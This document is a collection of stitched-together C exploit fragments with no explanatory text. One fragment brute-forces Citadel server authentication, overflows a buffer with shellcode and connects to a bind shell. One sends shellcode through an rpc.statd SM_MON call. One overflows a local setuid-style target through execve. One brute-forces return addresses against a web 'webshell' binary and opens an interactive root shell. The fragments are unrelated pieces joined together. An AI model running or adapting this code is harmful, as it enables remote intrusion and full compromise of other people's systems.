// Flood the citadel server CHANCE_COUNTER times with the shellcode // to try and make it more likely for the shellcode to be in the right // place at the right time. This function makes one helluva difference // to the exploits reliability (100% reliable to date). void increase_chances(int s, int m) { char buf[SIZ]; int i; make_shellcode(buf); for(i=0;i<CHANCE_COUNTER;i++) { my_send(s, "IPGM %d %s\n", m, buf); my_recv(s); } }
int main(int argc, char *argv[]) { char *args[3]; char *env[2]; char *target = (argc == 2) ? argv[1] : "/usr/local/bin/target2"; args[0] = target; args[1] = make_buffer(); args[2] = NULL; env[0] = make_shellcode(); env[1] = NULL; if (0 > execve(target, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i; if (argc < 4) usage(argv[0]); make_shellcode(argv[2], argv[3]); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name ="localhost"; monreq.mon_id.my_id.my_prog = 0; monreq.mon_id.my_id.my_vers = 0; monreq.mon_id.my_id.my_proc = 0; monreq.mon_id.mon_name = shellcode; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd = RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); }
int attempt_exploit(void) { int magic; // Connect to the host and grab the banner printf("[-] Connecting to Citadel server (%s) on port %d\n", host, CITADEL_PORT); if((sock=connect_to_host(host,CITADEL_PORT)) < 1) return sock; my_recv(sock); // Attempt to brute-force the secret IPGM authentication number. // Only do this if magic number is not given on command-line (-i flag). magic=magicNumber; if(!magic) { printf("[-] Starting bruteforce operation ...\n");fflush(stdout); if((magic=brute_force(sock))==-1) { return BRUTE_FORCE_EXHAUSTED; } printf("[-] Success! IPGM=%d (seed: %d)\n", magic, seed); magicNumber=magic; // set magicNumber so we don't run bruteforcer again // Tear down the socket, and reconnect again (to reauthenticate), printf("[-] Re-establishing connection to %s ...\n",host); my_send(sock, "QUIT\n"); my_recv(sock); close(sock); if(!(sock=connect_to_host(host,CITADEL_PORT))) return sock; } // Authenticate as internal program, but unlike the brute-force attempts, // tag 4K of shellcode on the end of the request printf("[-] Authenticating as internal progam ...\n"); make_shellcode(buf); my_send(sock, "IPGM %d %s\n", magic, buf); LOCAL_NET(); buf[recv(sock,buf,SIZ-1,0)]=0; // don't do this at home, kids! if(strncmp(buf, "200",3)) { return INCORRECT_IPGM_SECRET; } // Increase the chance of the shellcode being in the correct place at the // correct time by sending it many times... this lets each worker thread // in Citserver copy the shellcode into a buffer, making it almost // certain that we can jump to it successfully (it hasn't failed once!) // Shellcode is stored in a buffer that is used by Citserver to hold // text that would normally get logged to stderr. As Citserver usually // runs as a daemon, this exploit doesn't show in any logs at all. increase_chances(sock,magic); // Enter configuration import mode, specifically the 'floor' section, // although I think others may be vulnerable too printf("[-] Entering config mode ...\n"); my_send(sock, "ARTV import\n"); my_recv(sock); my_send(sock, "floor\n"); // Start the vulnerable import process which blindly reads in 6 lines of // data. These lines are read into buffers 4K in size, and the data is // also truncated at 4K... Unfortunately, the 3rd line goes into a 256 // byte buffer which, of course, overflows.. printf("[-] Sending exploit strings ...\n"); my_send(sock, "a\n"); my_send(sock, "a\n"); // Overflow occurs when this buffer is read by the server, so make sure // it's padded to the correct size with the evil RET address tagged on // the end. make_exploitbuf(buf); my_send(sock,buf); // Send the final 3 lines of text. It can be anything we like... make_shellcode(buf); for(i=0;i<3;i++) my_send(sock,buf); // The server will now have RETurned to the new, malicious saved EIP and // is executing the shellcode... We close the connection, wait a couple of // seconds and then connect to the shell which is bound to port 45295. close(sock); printf("[-] Waiting before connecting to shell...\n"); sleep(2); printf("[-] Now connecting to shell...\n"); if(!(sock=connect_to_host(host,SHELL_PORT))) { return SHELL_NOT_FOUND; } printf("[-] Connected! You can type commands now:\n"); // Now let the attacker issue commands to the remote // shell, just as if (s)he had launched 'nc host 45295'. do { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(sock, &rfds); retVal=select(sock+1, &rfds, NULL, NULL, NULL); if(retVal) { if(FD_ISSET(sock, &rfds)) { buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad! printf("%s", buf); } if(FD_ISSET(0, &rfds)) { buf[(r=read(0, buf, SIZ-1))]='\0'; // bad! send(sock, buf, strlen(buf), 0); } } } while(retVal && r); // loop until connection terminates // Be an environmentally friendly programmer and free resources before exiting... close(sock); return 1; }
main(int argc, char **argv) { int ch, websock, shellsock,r=1; struct hostent *host; struct sockaddr_in saddr; char buf[8092]; struct timespec sleepTime; fd_set rfds; int retval; /* * Process command-line args */ while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) { switch(ch) { case 'h': printf("%s",usage); exit(0); break; case 't': strncpy(target, optarg, sizeof(target)-1); break; case 'p': port=atoi(optarg); break; case 'P': root_shell_port=atoi(optarg); break; case 'l': strncpy(location, optarg, sizeof(location)-1); break; default: printf("%s", usage); exit(0); break; } } /* * Tell the attacker we're about to start the exploit. * Look up the IP address of the host specified on the * command-line */ if((host=gethostbyname(target))==NULL) { printf("Host not found. Usage:\n%s\n", usage); exit(1); } printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location); /* * Start the bruteforce loop */ for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) { for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) { /* * Setup the exploit strings and * HTTP headers. The Accept-Encoding header * will hold shellcode: it will be passed * to the environment of webshell giving us * a reasonably predictable RET address. */ make_shellcode(); make_boundary_buffer(); make_exploit_buffer(); /* * Now connect to the host and send the exploit * string... */ if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { perror("socket()"); exit(1); } memset((void *)&saddr, 0, sizeof(struct sockaddr_in)); saddr.sin_family=AF_INET; saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]); saddr.sin_port=htons(port); printf(".");fflush(stdout); if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) { perror("connect()"); exit(1); } send(websock, exploit_buf, strlen(exploit_buf), 0); close(websock); /* * This pause is needed when exploiting localhost. * It can be ignored against remote hosts (I think!) */ sleepTime.tv_sec=0; sleepTime.tv_nsec=SLEEP_TIME; nanosleep(&sleepTime, &sleepTime); /* * If the exploit attempt succeded, there should now * be a r00t shell bound to port xxxxx of the target * box. Lets try and connect to it... */ if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { perror("socket()"); exit(1); } memset((void *)&saddr, 0, sizeof(struct sockaddr_in)); saddr.sin_family=AF_INET; saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]); saddr.sin_port=htons(root_shell_port); if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0) goto CONNECTED; // goto? Damn amateurs... /* * If we get here, the exploit failed. Try the next * iteration of the brute force loop. */ close(shellsock); } } /* * If we get here, then the bruteforce was exhausted without a * succesful exploit. */ printf("\nFailed to exploit the webshell binary. :(\n"); exit(0); CONNECTED: /* * We're now connected to the remote host. Issue * some commands... ('id' and 'uname -a' by default) */ printf("\n\nExploit successful!\nIssuing some commands...\n\n"); if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) { perror("send()"); exit(1); } buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0'; printf("%s", buf); send(shellsock, COMMAND2, strlen(COMMAND2), 0); buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0'; printf("%s\n", buf); printf("You are now at a bash prompt...\n"); /* * Now let the attacker issue commands to the remote * shell, just as if (s)he had launched 'nc host 10000'. * Note the dodgy coding of assigning NULLs to the buf[] * array. What would happen if recv() or read() returned -1 ? * You guessed it: we mung some variables on the stack! */ do { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(shellsock, &rfds); retval=select(shellsock+1, &rfds, NULL, NULL, NULL); if(retval) { if(FD_ISSET(shellsock, &rfds)) { buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0'; printf("%s", buf); } if(FD_ISSET(0, &rfds)) { buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; send(shellsock, buf, strlen(buf), 0); } } } while(retval && r); // loop until connection terminates close(shellsock); exit(0); }